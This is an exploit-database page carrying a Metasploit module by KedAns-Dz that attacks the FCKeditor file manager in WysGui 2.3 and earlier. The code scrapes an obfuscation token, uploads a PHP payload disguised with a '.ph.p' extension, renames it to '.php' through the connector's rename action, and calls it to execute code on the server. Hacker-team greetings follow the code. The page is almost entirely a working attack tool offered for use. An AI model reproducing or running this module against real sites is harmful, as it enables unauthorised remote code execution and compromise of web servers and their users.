Author

KedAns-Dz

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-16208

Category

web applications

Date add

29-05-2011

Platform

php

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0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
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0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
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1               #########################################              1
0               I'm KedAns-Dz member from Inj3ct0r Team                1
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##
# WysGui <= 2.3 (FCKeditor) File Upload Code Execution (meta)
# By KedAns-Dz
# Platform : PHP
##
# $Id: wysgui_fcke.rb | 2011-05-29 01:31  | KedAns-Dz $ 
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'WysGui <= 2.3 (FCKeditor) File Upload Code Execution',
			'Description'    => %q{
					This module exploits a vulnerability in the FCK/CKeditor plugin.
				By renaming the uploaded file this vulnerability can be used to upload/execute
				code on the affected system.
			},
			'Author'         => [ 'KedAns-Dz <ked-h[at]1337day.com>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '1.0',
			'References'     =>
				[
					['URL', 'http://1337day.com/exploits/16011'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						},
					'Space'       => 1024,
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => '02/05/2011',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('URI', [true, "WysGui directory path", "/"]),
				], self.class)
	end

	def check
		uri = ''
		uri << datastore['URI']
		uri << '/' if uri[-1,1] != '/'
		uri << 'fckeditor/editor/filemanager/connectors/php/upload.php?Type=File'
		res = send_request_raw(
			{
				'uri' => uri
			}, 25)

		if (res and res.body =~ /sample16.swf/)
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end


	def retrieve_obfuscation()

	end


	def exploit

		cmd_php = '<?php ' + payload.encoded + '?>'

		# Generate some random strings
		cmdscript	= rand_text_alpha_lower(20)
		boundary    = rand_text_alphanumeric(6)

		# Static files
		directory 	= '/fckeditor/editor/images'
		uri_base    = ''
		uri_base << datastore['URI']
		uri_base << '/' if uri_base[-1,1] != '/'
		uri_base << 'fckeditor/editor/filemanager/connectors/php'

		# Get obfuscation code (needed to upload files)
		obfuscation_code = nil

		res = send_request_raw({
			'uri'     => uri_base + '/upload.php?Type=File'
		}, 25)

		if (res)

			if(res.body =~ /"obfus", "((\w)+)"\)/)
				obfuscation_code = $1
				print_status("Successfully retrieved obfuscation code: #{obfuscation_code}")
			else
				print_error("Error retrieving obfuscation code!")
				return
			end
		end



		# Upload shellcode (file ending .ph.p)
		data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filename\"\r\n\r\n"
		data << "#{cmdscript}.ph.p\r\n--#{boundary}"
		data << "\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"#{cmdscript}.ph.p\"\r\n"
		data << "Content-Type: application/octet-stream\r\n\r\n"
		data << cmd_php
		data << "\r\n--#{boundary}--"

		res = send_request_raw({
			'uri'	  => uri_base + "/connector.php?Command=FileUpload&Type=File&CurrentFolder=" + directory + "&obfuscate=#{obfuscation_code}",
			'method'  => 'POST',
			'data'    => data,
			'headers' =>
			{
				'Content-Length' => data.length,
				'Content-Type'	 => 'multipart/form-data; boundary=' + boundary,
			}
		}, 25)

		if (res and res.body =~ /File Upload Success/)
			print_status("Successfully uploaded #{cmdscript}.ph.p")
		else
			print_error("Error uploading #{cmdscript}.ph.p")
		end


		# Complete the upload process (rename file)
		print_status("Renaming file from #{cmdscript}.ph.p_ to #{cmdscript}.ph.p")
		res = send_request_raw({
			'uri'     => uri_base + '/connector.php?Command=FileUpload&Type=File&CurrentFolder=' + directory + '&filetotal=1'
		})


		# Rename the file from .ph.p to .php
		res = send_request_cgi(
			{
				'method'    => 'POST',
				'uri'       => uri_base + '/connector.php?Command=Edit&Type=File&CurrentFolder=',
				'vars_post' =>
				{
					'actionfile[0]' => "#{cmdscript}.ph.p",
					'renameext[0]'   => 'p',
					'renamefile[0]' => "#{cmdscript}.ph",
					'sortby' => 'name',
					'sorttype' => 'asc',
					'showpage' => '0',
					'action' => 'rename',
					'commit' => '',
				}
			}, 10)

		if (res and res.body =~ /successfully renamed./)
			print_status ("Renamed #{cmdscript}.ph.p to #{cmdscript}.php")
		else
			print_error("Failed to rename #{cmdscript}.ph.p to #{cmdscript}.php")
		end


		# Finally call the payload
		print_status("Calling payload: #{cmdscript}.php")
		uri = ''
		uri << datastore['URI']
		uri << '/' if uri[-1,1] != '/'
		uri << directory + cmdscript + ".php"
		res = send_request_raw({
			'uri'	=> uri
		}, 25)

	end

end

#================[ Exploited By KedAns-Dz * HST-Dz * ]===========================================  
# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS > Islampard + Z4k1-X-EnG + Dr.Ride
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (www.1337day.com) 
# Inj3ct0r Members 31337 : Indoushka * KnocKout * eXeSoul * eidelweiss * SeeMe * XroGuE * ZoRLu
# gunslinger_ * Sn!pEr.S!Te * anT!-Tr0J4n * ^Xecuti0N3r 'www.1337day.com/team' ++ .... * Str0ke
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * TreX (hotturks.org)
# JaGo-Dz (sec4ever.com) * CEO (0nto.me) * PaCketStorm Team (www.packetstormsecurity.org)
# www.metasploit.com * UE-Team (www.09exploit.com) * All Security and Exploits Webs ...
# -+-+-+-+-+-+-+-+-+-+-+-+={ Greetings to Friendly Teams : }=+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
# (D) HaCkerS-StreeT-Team (Z) | Inj3ct0r | Exploit-ID | UE-Team | PaCket.Storm.Sec TM | Sec4Ever 
# h4x0re-Sec | Dz-Ghost | INDONESIAN CODER | HotTurks | IndiShell | D.N.A | DZ Team | Milw0rm
# Indian Cyber Army | MetaSploit | BaCk-TraCk | AutoSec.Tools | HighTech.Bridge SA | Team DoS-Dz
#================================================================================================



#  0day.today [2024-06-24]  #